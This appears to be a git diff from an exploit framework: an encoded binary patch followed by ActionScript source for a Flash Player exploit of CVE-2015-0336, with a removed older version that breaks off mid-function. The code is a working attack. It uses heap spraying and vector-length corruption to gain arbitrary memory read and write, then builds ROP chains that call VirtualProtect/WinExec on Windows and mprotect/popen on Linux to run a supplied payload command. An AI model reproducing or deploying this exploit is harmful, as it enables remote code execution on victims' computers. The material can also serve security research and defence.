zYO^>*B71Sm#nWuW6SlRT*O+S}Z4t6qWa-<>RnCZ!C=&qsz~wgiQ6N-eZ3&CVaben! z#U6QG)7dt|(a2p5z}CUn>6S-u)@xz86DVzxfAn}*VI)s(S2k`)M(oQ1I<*Pld&z+a zI5%Xq#=n6J-_lPUg>>{$^9YtEnju`g(}!D67Q*B!VS`!j{eWR4kWgjx`Aj)3zJzRp ziHI1|#BMH(qk;D4+FwWd@KSj?E|Rk+ZHsU&Yz1=Q4+YQDdxvV542u|plKbQh8IKg_ ze@Qxk(F^RI+Q;~uWvW-A0lfB^Kv)h<|I|CBFDsKzBSAFO4`iox0!B%pItBKcx+E?} z{I2yeyct>MiNFlbBx(%s^NFeX&GHH~AgAeglc2>E9a|tK@G9;$ovtlMKV?G+Tv3`c zE;>yXN+xT5-(omypH3es(Tg&jSK;+;e^Y-`SIMzL0hPuK@k4+itANMAzM_d;0zwz) zz3LtF|9dt|?vj9hW&8R_+w{=R8JDF-a$Urj;A%ez*caG;>$yCzEfGE95eM9Svs39h z{Npd%Rn19(lhCezsv35_%RJ%5;?{DJ<(NQY!oPL~iwCH@+h2U)glZg50S18Je?7mm z-v>!-Y~!{x6Gp(mL3i+^Z(%+30Y>PK)~L1}MBs?^niUAdNUs6IG;l9TxG^Y>+t`yA6pRS$u6 z*Z}WhiEV#D&D{6nm%{TZIVvgRn{{6CuBwvTU0Km6Ho!X#5L|q9Ry0lZ6u#CH#cX0Q z=zB{aIN@&!)cbj#i($rTcy{{R!DLq*q*>fI-o=zvc=1f5-ndUjaCjkuHB}0w4`j{5LH_P%*ajp!Q9&ENSoX+v1 z#cEX`@8Q1KlZTN!2b0cOcNMZSb$R`z{qj3Z5hw(4PjeMrbp3@Zf1#oG=~55!o5Vkv z;JK}7LT_}GG=H7i5%-|6v#VIyPDNKhhSeQk78jX1H5{!U8hi- zo0~6J3@K@Idpj8Ze-2zbj`qVcoWjMsxxMKR6x5RF*W{k z-Q)v(F&#otqXU9!q?`M;qIC(q1qe#3j{QfR+4vwE=UTj>Gm4D1NyLaU!;n74<}woQ z7QI5+k(|FRYlivTcg~IrA>NE7fkr|i5>LFG{%-)|#*ux|f9^3?@8w!$z5_0R$m@H9 zFV1rhixYZT7D4iU_&{<#YVbAGPuwx|X3egyq-$875ZPbvtQ;C*o}${M!}d|Ro$**( z-L00>pCY-x=PbQ!_m9a&8P1%jLkl%oomo*ekea&HHeX9if3WY6NAbpHiOaGnU*Ln< zL#k?Lmlmt|f32Rh!pLSh2?(1RG$j2EX670JiYWTCCO3XW25!! z<-E`Ve;kr_p8DI!$ciC3ZoSSF$Mb!Ho~sfkeiUMq_;VD(4>dKC*pdg=mHkoL%Za(Y zsAD%0>SaJG%O{t$53EW5j;8lmq%Pd!97DSO7B^vlm;GYgYgq2OUif;j9M37J zzvY)jOX*S)U!un~_)s;Yc|_&q$UfwjmcChBwhw-VvH9Ejc}>3<&N4Bw;LfbNe}Czq z$#MkdC;iVC8nSyn6Hdqk-td#S>gqf@`ujxiIFu*kI`QX`b0eH!EtP@3?>1C&)fy{A zm}*#=3L=nL!b8UA5bm_|YLmR$;|+~acFLE(As9ty4lGqADen;tm;tgV*cIS=8x75vG|4b>q|mpw)Dcn+Y4Z&kYyja5Vi zsb6@HS#yS*i{=|RAH~S{f1J_s_PXOi%0O$l3MP>T(L^$PFH5D}k_=J?J*)Urscr+5 z^&_|6X2amIO*Dc@R7$#f{#do%kGuio|Ll15@#|AP{AV9G#d*wyk}j8`c4=#RhwJ5h zKc zf!HwC{p5(y(FkCpGuhKTa2|M0you+Km>jOeA%ybU5blud1A@SpQ-hJ+2*&skQA`Wk z9@Z>kxtcy&XuQU|ULJT7vYwPAZ$xjndA!mZF~8Yuwq~(tCxS4eNiYC5sGVxr@ypi@ zsPFG)EzexXPR2Soe`d}7uXw1K@hw*6e@n4wp^Im`g%5bJKd*K^eD)Da_=Tg?TUu$y zM8>lK>ioq`@#+9xD~45h$WtlgZ8eL9Lf5V6^71#Hiq-61KJ1?oKWS zbub;5=pa$u$un8j=8{+Gui3%50;4&fO{EaTg@__N6XI9ue_#F9*LbMC2G%@*n!P@@ zEZ@-%^_a%a*;po~V>G%PmVn+}8Y2f9cf)&ylvKB7+GP5AyREf_jNpR-Q?+Hu9l-{vNg){^(Hf-$Loc zCcL!pnB>Azf0K5qmy|9TQcr)Q|32>DUN$z7(dnTJKftUGmbC?I`S^UFNXpE3v&t+f zo;Es&ibr3Ua(sTFt4E>L`2GXj4zNM)a*{;eB=S8_9dD)g`yf4#U3+6C4cYy6O7Rsb zV!Cdo+kb(=9Gh)ycSvd;l32G#kg9DlE`k$$?J*A$@YKMs=8 zg;ETg9I4R|^-WJMY*r%5z(XzSus>P?qAE$6j#OIQ8%k0?Rh|80F%@vS0Ln0<;1ATa zYrFlm;S%rLo6E`SaD+2A@)mRQs95ivx7IhH*ZR#;qD4WcS+d$&yXg%m**g9MFOvTc zt0ce^E%A@v_Lk56Z z98;Q>rbd)$1Mhn?ZGinu{eS3RJd!#!zkDURr!I3#D&qT?pS@puXfu*uC7Z>KRsA5R zsCi9x?=b3BtN7~`*gPf=v713Me)tmDwymf&FfduOgmE;Q`W{IRsgQ2SR=>2r6xKH>49aP@?Yb z5ZK z=n_k?4u8~go~BLo3`(8Odn8`lGRv6$qGn8_qeFOXSRlM0V2t|~uaCxOO3TspmpfFW zf2O|Fn^!yOyXoPA+e~X=O*!>Z4`j@NEkqf@;zhiRMciB>uqccclupoQ92^)zP+u5G zU(BtwcO6sO*SR(-&Hi&hv0}ltpoR~C65NRFmVXONujmu);xGx#EXA#A2PgA0ErlJ+ z*h%tP?ghZ4#JN4H1n(PA^$DV;qa43ppfES#W-S$yIPi$`p2;>L8e#B{Hw4o&C{4oX zr*|uj<=f;)V}tm8JVU8aK^>5=D$Vu8nkDelXWx&9op>fm_!lrFgP53%lBsi(t4ru5HHFq2t-T+9cn|y#ngNSV=H~Q{D4>6k_8$C>0 zL`{u3i9t0Rwu^dU&Mme>%f2s}1De(Me1EsZcU`=#=p_R*1%E&>2}PZKi4vhFR7fqr z&A)SVf77t+lMQ@naiW!_mC*}k10KS0(`z=);C$@aZcfb?@09ugY{#zkQy9YSO!6<@^(B> zIVp7z8(4S0-}n&29v0yL&D!7h8HoXd(xDPoY{t+a6*L}vtk z+xdeyAf!&75f}I;){;kHQ{BA<=YO%v_d>3nc)3KXyrvUioUiAEewN*C?BcFFFU!wE za$szSoVu+6_q@=%-ynanj`=Af=FE7?icVEGt+!XuQHWk>wUjGx#YzKf^3N_4cJMP^ zmBEzk<)@#D6A?39fEH%2_hVe%=I#E{a!h1LY}{hfJhsOxG@|!lGC#Q*dw&qF$38t6 zZvEIGzl zR55|WZelJSJg|vmHfVK3#V*fXOthu#B3>P$Z{qiB+H4$?14r<&?N^4Y;COv)&7gIN zYxoy^V_l{M-I-<;I5~nCUVrKWWvt33Vc(}@A~h<-B`15`umO8iOUiI0ti?-wk~ucs zT|#MoC&e#e0p>(=AuG_iC@M9pToozAPT#+CCdm-4k8ELbXW+eN^%BbH0t6Srzgs(# z{InI-G=Qr3+<_JTZ1X!*D&KPRmHrlg8NjioL_cZ#Vcma<>~(7t0)J5_#46o9ss>G8+kj8hQLVYRu; zH*QZvK75_s!Aw2e@N}@Bq$pg-qYnAa`*O%s?4U(VJDydOe}r9Z=13#8)(I_ipWqKB z8J3{O@gsU;1*@>6fG2AleR7m?tldE!vjaKwX^A=}UBF^l4W@>&OJl8Z%fMj&|1OWn E0BQ~KH!Lyme;D~I{DSiAbVGPJ`JUh1d%ib_Z$Re2nS&AA(`nQ}Cv*sU%@abp zg-V6->?xin#f2X)me@CMO+&c#(SWU}d74e*6!|JEvvQp$csAw1WEq!>mjuD|F`1Q6 z$~Gv4IM35Hy-$)dTxI!n8qW)81`nNf`;+0v5~pKJJI^e|x&#{<9B2*>kBx~qvLf!T zWp=G~!HU=WD9cKGK(`=pp1zAqG7ya92S*-})RkJ$yQ$Xt#JSXUaM!DI9_UkWF3cyz zmw~?qnhYYTk5F|P7#fvp+l2Rzicmx{(8ra8aYwkO!Ml>^xkI{cJM/framework/libs) to the AIRSDK folder (/framework/libs) +// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) +// 5. Build with: mxmlc -o msf.swf Exploit.as + +// It uses some original code from @hdarwin89 for exploitation using ba's and vectors + +package +{ + import flash.display.Sprite + import flash.display.LoaderInfo + import flash.display.Loader + import flash.utils.ByteArray + import flash.utils.Endian + import flash.utils.* + import flash.external.ExternalInterface + import mx.utils.Base64Decoder + + + public class Exploit extends Sprite + { + private var uv:Vector. = new Vector. + private var exploiter:Exploiter + + private var spray:Vector. = new Vector.(89698) + private var interval_id:uint + private var trigger_swf:String + private var b64:Base64Decoder = new Base64Decoder() + private var payload:String + private var platform:String + + public function Exploit() + { + var i:uint = 0 + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray().toString() + + if (platform == 'win') { + for (i = 0; i < 89698; i = i + 1) { + spray[i] = new Vector.(1014) + spray[i][0] = 0xdeadbeef + spray[i][1] = 0xdeedbeef + spray[i][2] = i + spray[i][29] = 0x1a1e1429 + } + + for(i = 0; i < 89698; i = i + 1) { + spray[i].length = 0x1e + } + } else if (platform == 'linux') { + for (i = 0; i < 89698; i = i + 1) { + spray[i] = new Vector.(1022) + spray[i][0] = 0xdeadbeef + spray[i][1] = 0xdeedbeef + spray[i][2] = i + spray[i][29] = 0x956c1490 // 0x956c1490 + 0xb6c => 0x956c1ffc => controlled by position 1021 + spray[i][39] = 1 // 0x956c1fac + 0xf8 => is_connected = 1 in order to allow corruption of offsets 0x54 and 0x58 + spray[i][1021] = 0x956c1fac // 0x956c1fac + 0x54 => 0x956c2000 (0x54, and 0x58 offsets are corrupted) + } + } + + var trigger_byte_array:ByteArray = createByteArray(trigger_swf) + trigger_byte_array.endian = Endian.LITTLE_ENDIAN + trigger_byte_array.position = 0 + // Trigger corruption + var trigger_loader:Loader = new Loader() + trigger_loader.loadBytes(trigger_byte_array) + + interval_id = setTimeout(do_exploit, 2000) + } + + + private function createByteArray(hex_string:String) : ByteArray { + var byte:String + var byte_array:ByteArray = new ByteArray() + var hex_string_length:uint = hex_string.length + var i:uint = 0 + while(i < hex_string_length) + { + byte = hex_string.charAt(i) + hex_string.charAt(i + 1) + byte_array.writeByte(parseInt(byte,16)) + i = i + 2 + } + return byte_array + } + + private function do_exploit():void { + clearTimeout(interval_id) + + for(var i:uint = 0; i < spray.length; i = i + 1) { + if (spray[i].length != 1022 && spray[i].length != 0x1e) { + Logger.log('[*] Exploit - Found corrupted vector at ' + i + ' with length 0x' + spray[i].length.toString(16)) + spray[i][0x3ffffffe] = 0xffffffff + spray[i][0x3fffffff] = spray[i][1023] + uv = spray[i] + } + } + + for(i = 0; i < spray.length; i = i + 1) { + if (spray[i].length == 1022 || spray[i].length == 0x1e) { + spray[i] = null + } + } + + if (uv == null || uv.length != 0xffffffff) { + return + } + + exploiter = new Exploiter(this, platform, payload, uv) + } + } +} + diff --git a/external/source/exploits/CVE-2015-0336/ExploitByteArray.as b/external/source/exploits/CVE-2015-0336/ExploitByteArray.as new file mode 100644 index 0000000000..0da3b307b4 --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/ExploitByteArray.as @@ -0,0 +1,82 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + Logger.log("[*] ExploitByteArray - lets_ready()") + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + Logger.log("[*] ExploitByteArray - is_ready() - 0x" + ba.length.toString(16)) + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + if (addr) ba.position = addr + if (value is String) { + for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2015-0336/ExploitVector.as b/external/source/exploits/CVE-2015-0336/ExploitVector.as new file mode 100644 index 0000000000..3d9c84b43b --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/ExploitVector.as @@ -0,0 +1,74 @@ +package +{ + public class ExploitVector + { + private var uv:Vector. + public var original_length:uint = 0x3e0 + + public function ExploitVector(v:Vector.) + { + uv = v + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-0336/Exploiter.as b/external/source/exploits/CVE-2015-0336/Exploiter.as new file mode 100644 index 0000000000..036ffceb04 --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/Exploiter.as @@ -0,0 +1,251 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:String + private var platform:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var spray:Vector. = new Vector.(89698) + + public function Exploiter(exp:Exploit, pl:String, p: String, uv:Vector.):void + { + exploit = exp + payload = p + platform = pl + + ev = new ExploitVector(uv) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x4000) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") + do_rop_linux() + else if (platform == "win") + do_rop_windows() + else + return + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var winexec:uint = pe.procedure("WinExec", kernel32) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, winexec) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // WinExec + eba.write(0, buffer + 0x10) + eba.write(0, payload_address + 8) + eba.write(0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // Put the popen parameters in memory + eba.write(payload_address + 8, 'r', true) // type + eba.write(payload_address + 0xc, payload, true) // command + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + // Return to popen() + eba.write(stack_address + 0x18068, popen) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // popen() argument + eba.write(0, payload_address + 0xc) + eba.write(0, payload_address + 8) + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2015-0336/Logger.as b/external/source/exploits/CVE-2015-0336/Logger.as new file mode 100644 index 0000000000..16c0447973 --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 0 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/exploits/CVE-2015-0336/Msf.as b/external/source/exploits/CVE-2015-0336/Msf.as deleted file mode 100755 index fee7a99e95..0000000000 --- a/external/source/exploits/CVE-2015-0336/Msf.as +++ /dev/null @@ -1,321 +0,0 @@ -// Build how to: -// 1. Download the AIRSDK, and use its compiler. -// 2. Download the Flex SDK (4.6) -// 3. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) -// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) -// 4. Build with: mxmlc -o msf.swf Msf.as - -// It uses original code from @hdarwin89 for exploitation using ba's and vectors - -package -{ - import flash.utils.* - import flash.display.* - import flash.system.* - import mx.utils.Base64Decoder - - public final class Msf extends Sprite { - private var interval_id:uint; - - private var trigger_swf:String = "" - - private var b64:Base64Decoder = new Base64Decoder(); - private var payload:String = "" - - private var spray:Vector. = new Vector.(89698 + 100) - private var corrupted_index:uint = 0 - private var restore_required:Boolean = false - - private var uv:Vector. - private var ba:ByteArray = new ByteArray() - private var stack:Vector. = new Vector.(0x6400) - private var payload_space:Vector. = new Vector.(0x6400) - - public function Msf() { - var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh - var pattern:RegExp = / /g; - b64_payload = b64_payload.replace(pattern, "+") - b64.decode(b64_payload) - payload = b64.toByteArray().toString() - trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr - - ba.endian = "littleEndian" - ba.length = 1024 - ba.writeUnsignedInt(0xdeedbeef) - ba.position = 0 - - var i:uint = 0 - - while (i < 89698) { - spray[i] = new Vector.(1014) - spray[i][0] = 0xdeadbeef - spray[i][1] = 0xdeedbeef - spray[i][2] = i - spray[i][29] = 0x1a1e1429 - i++ - } - - for(i = 0; i < 89698; i = i + 1) { - spray[i].length = 0x1e - } - - for(i = 0; i < 100; i = i + 1) { - spray[i + 89698] = new Vector.(1014) - spray[i + 89698][0] = ba - spray[i + 89698][1] = this - spray[i + 89698][2] = stack - spray[i + 89698][3] = payload_space - } - - for(i = 0; i < 100; i = i + 1) { - spray[i + 89698].length = 114 - } - - var trigger_byte_array:ByteArray = createByteArray(trigger_swf) - trigger_byte_array.endian = Endian.LITTLE_ENDIAN - trigger_byte_array.position = 0 - - // Trigger corruption - var trigger_loader:Loader = new Loader(); - trigger_loader.loadBytes(trigger_byte_array); - - interval_id = setTimeout(exploit, 2000) - } - - public function createByteArray(hex_string:String) : ByteArray { - var byte:String = null; - var byte_array:ByteArray = new ByteArray(); - var hex_string_length:uint = hex_string.length; - var i:uint = 0; - while(i < hex_string_length) - { - byte = hex_string.charAt(i) + hex_string.charAt(i + 1); - byte_array.writeByte(parseInt(byte,16)); - i = i + 2; - } - return byte_array; - } - - public function exploit():void { - clearTimeout(interval_id) - - for(var i:uint = 0; i < spray.length; i = i + 1) { - if (spray[i].length != 0x1e) { - corrupted_index = corrupt_vector_uint(i) - restore_required = true - uv = spray[corrupted_index] - uv[0] = 0x1a1e3000 // We're being confident about the spray for exploitation anyway :-) - control_execution() - if (restore_required) { - restore_vector_uint() - } - break; - } - } - } - - // make it better, search and return error if it doesn't work :-) - public function corrupt_vector_uint(index:uint):uint { - spray[index][0x3fe] = 0xffffffff - return spray[index][0x402] - } - - public function restore_vector_uint():void { - var atom:uint = spray[corrupted_index][0x3fffffff] - spray[corrupted_index][0x3ffffbff] = atom - spray[corrupted_index][0x3ffffbfe] = 0x1e - // Restore vector corrupted by hand - spray[corrupted_index][0x3ffffffe] = 0x1e - } - - public function control_execution():void { - // Use the corrupted Vector to search saved addresses - var object_vector_pos:uint = search_object_vector() - if (object_vector_pos == 0xffffffff) { - return - } - - var byte_array_object:uint = uv[object_vector_pos] - 1 - var main:uint = uv[object_vector_pos + 1] - 1 - var stack_object:uint = uv[object_vector_pos + 2] - 1 - var payload_space_object:uint = uv[object_vector_pos + 3] - 1 - - // Use the corrupted Vector to disclose arbitrary memory - var buffer_object:uint = vector_read(byte_array_object + 0x40) - var buffer:uint = vector_read(buffer_object + 8) - var stack_address:uint = vector_read(stack_object + 0x18) - var payload_address:uint = vector_read(payload_space_object + 0x18) - var vtable:uint = vector_read(main) - - // Set the new ByteArray length - ba.endian = "littleEndian" - ba.length = 0x500000 - - // Overwite the ByteArray data pointer and capacity - var ba_array:uint = buffer_object + 8 - var ba_capacity:uint = buffer_object + 16 - vector_write(ba_array) - vector_write(ba_capacity, 0xffffffff) - - // restoring the corrupted vector length since we don't need it anymore - restore_vector_uint() - restore_required = false - - var flash:uint = base(vtable) - var winmm:uint = module("winmm.dll", flash) - var kernel32:uint = module("kernel32.dll", winmm) - var virtualprotect:uint = procedure("VirtualProtect", kernel32) - var winexec:uint = procedure("WinExec", kernel32) - var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash) - var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash) - - // Continuation of execution - byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable - byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main - byte_write(0, "\x89\x03", false) // mov [ebx], eax - byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret - - // Put the payload (command) in memory - byte_write(payload_address + 8, payload, true); // payload - - // Put the fake vtabe / stack on memory - byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... - byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] - byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot - byte_write(0, virtualprotect) - - // VirtualProtect - byte_write(0, winexec) - byte_write(0, buffer + 0x10) - byte_write(0, 0x1000) - byte_write(0, 0x40) - byte_write(0, buffer + 0x8) // Writable address (4 bytes) - - // WinExec - byte_write(0, buffer + 0x10) - byte_write(0, payload_address + 8) - byte_write(0) - - byte_write(main, stack_address + 0x18000) // overwrite with fake vtable - - toString() // call method in the fake vtable - } - - private function search_object_vector():uint { - var i:uint = 0; - while (i < 89698 * 1024){ - if (uv[i] == 114) { - return i + 1; - } - i++ - } - return 0xffffffff - } - - // Methods to use the corrupted uint vector - - private function vector_write(addr:uint, value:uint = 0):void - { - var pos:uint = 0 - - if (addr > uv[0]) { - pos = ((addr - uv[0]) / 4) - 2 - } else { - pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 - } - - uv[pos] = value - } - - private function vector_read(addr:uint):uint - { - var pos:uint = 0 - - if (addr > uv[0]) { - pos = ((addr - uv[0]) / 4) - 2 - } else { - pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 - } - - return uv[pos] - } - - // Methods to use the corrupted byte array for arbitrary reading/writing - - private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void - { - if (addr) ba.position = addr - if (value is String) { - for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) - if (zero) ba.writeByte(0) - } else ba.writeUnsignedInt(value) - } - - private function byte_read(addr:uint, type:String = "dword"):uint - { - ba.position = addr - switch(type) { - case "dword": - return ba.readUnsignedInt() - case "word": - return ba.readUnsignedShort() - case "byte": - return ba.readUnsignedByte() - } - return 0 - } - - // Methods to search the memory with the corrupted byte array - - private function base(addr:uint):uint - { - addr &= 0xffff0000 - while (true) { - if (byte_read(addr) == 0x00905a4d) return addr - addr -= 0x10000 - } - return 0 - } - - private function module(name:String, addr:uint):uint - { - var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80) - var i:int = 